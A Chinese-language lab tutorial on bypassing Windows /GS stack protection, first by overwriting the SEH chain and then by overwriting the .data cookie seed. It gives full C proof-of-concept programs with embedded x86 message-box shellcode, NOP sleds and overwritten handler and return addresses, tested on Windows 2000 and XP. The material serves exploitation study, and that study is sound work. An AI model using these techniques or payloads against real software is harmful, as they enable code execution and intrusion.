通过 SEH 绕过 GS 保护
GS 机制没对 SEH 提供保护，所以可心通过攻击异常来绕过 GS。
实验环境为： VMware : Windows 2000 sp4, 此版本无 SafeSEH 的影响 Visual Studio 2005 Project Properties : Release, Disable Optimization
代码如下：
1 #include <string.h> 2 char shellcode[]= 3 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 4 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 5 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 6 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" 7 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" 8 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" 9 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" 10 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" 11 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" 12 "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" 13 "x53xFFx57xFCx53xFFx57xF8" // 168 字节的弹窗 shellcode 14 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 15 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 16 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 17 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 18 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 19 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 20 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 21 "x90x90x90x90" // 116 字节的 nop, 168 + 116 = 284 22 "x90x90x90x90" // seh chain 23 "x94xFEx12x00" // seh handler 24 ; 25 void test(char * input) 26 { 27 char buf[200]; 28 strcpy(buf,input); 29 strcat(buf,input); // destroy stack frame & throw exception 30 } 31 void main() 32 { 33 test(shellcode); 34 }
函数 test() 存在典型溢出漏洞，line 28 处的 strcpy 会溢出 buf[]，当 char* input 足够长时 SEH 链表会被覆盖；line 29 处的 strcat() 会破坏栈帧，触发异常。
shellcode 的长度要事先通过 OllyDbg 调试确定。实验中 SEH Chain 的第一个节点距离栈帧中 buf 的距离为 284，line 22-23 覆盖 SEH 第一节点。
通过改变 .data 种子绕过 GS
实验环境为： VMware : Windows XP sp3 Visual Studio 2008 Project Properties : Release, Disable Optimization
代码如下：
1 #include "stdafx.h" 2 #include <stdlib.h> 3 #include <string.h> 4 char shellcode[]= 5 "x90x90x90x90" // new value of security cookie in .data 6 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 7 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 8 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 9 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" 10 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" 11 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" 12 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" 13 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" 14 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" 15 "x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50" 16 "x53xFFx57xFCx53xFFx57xF8" // 168 bytes pop-window shellcode 17 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 18 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 19 "xF4x6Fx82x90" // result of x90 * 4 xor EBP, GS cookie 20 "x90x90x90x90" // ebp 21 "x18x30x40x00" // address of shellcode, return address 22 ; 23 void test(char *dst, int i, char *src) 24 { 25 char buf[200]; 26 if(i<0x9995) // 当传入的 i 为负时也能通过 if 测试 27 { 28 char *p=dst+i; // 控制 i 的值，使 p 指向 .data 中的 cookie 种子 29 *p=*src; 30 *(p+1)=*(src+1); 31 *(p+2)=*(src+2); 32 *(p+3)=*(src+3); 33 } 34 strcpy(buf,src); // 覆盖溢出 35 } 36 void main() 37 { 38 char *str=(char*)malloc(0x10000); 39 test(str,0x00403000-(int)str,shellcode); 40 }